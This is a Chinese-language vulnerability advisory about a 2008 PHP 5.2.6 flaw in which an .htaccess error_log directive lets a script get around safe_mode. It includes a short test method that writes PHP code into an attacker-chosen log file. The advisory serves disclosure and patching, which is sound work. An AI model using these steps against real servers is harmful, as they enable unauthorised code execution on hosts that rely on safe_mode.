PHP error_log绕过安全模式限制漏洞
发布日期:2008-11-20
更新日期:2008-11-21
受影响系统:PHP PHP 5.2.6
描述:
BUGTRAQ ID:
32383
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
在以全局模式使用safe_mode时:
php.ini­:
safe_mode = On
并通过php_admin_flag声明:
<Directory "/www">
...
php_admin_flag safe_mode On
</Directory>
当在/www/中创建一些php脚本并试图调用:
ini_set("error_log", "/hack/");
或在/www/.htaccess中
php_value error_log "/hack/bleh.php"
结果是:
Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not \
allowed to access /hack/ owned by uid 1001 in Unknown on line 0
Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script \
whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php \
on line 4
这是由于php.ini中声明了safe_mode。但如果在httpd.conf使用:
php_admin_flag safe_mode On
就仅会得到:
Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script \
whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php \
on line 4
.htaccess中允许php_value error_log "/hack/blehx.php"句法,导致绕过safe_mode的限制。
<*来源:Maksymilian Arciemowicz (
max@jestsuper.pl)
链接:
http://marc.info/?l=bugtraq&m=122720980532226&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
error_log("<?php phpinfo(); ?>", 0);
建议:
厂商补丁:
PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&view=markup浏览次数:2891
严重程度:0(网友投票)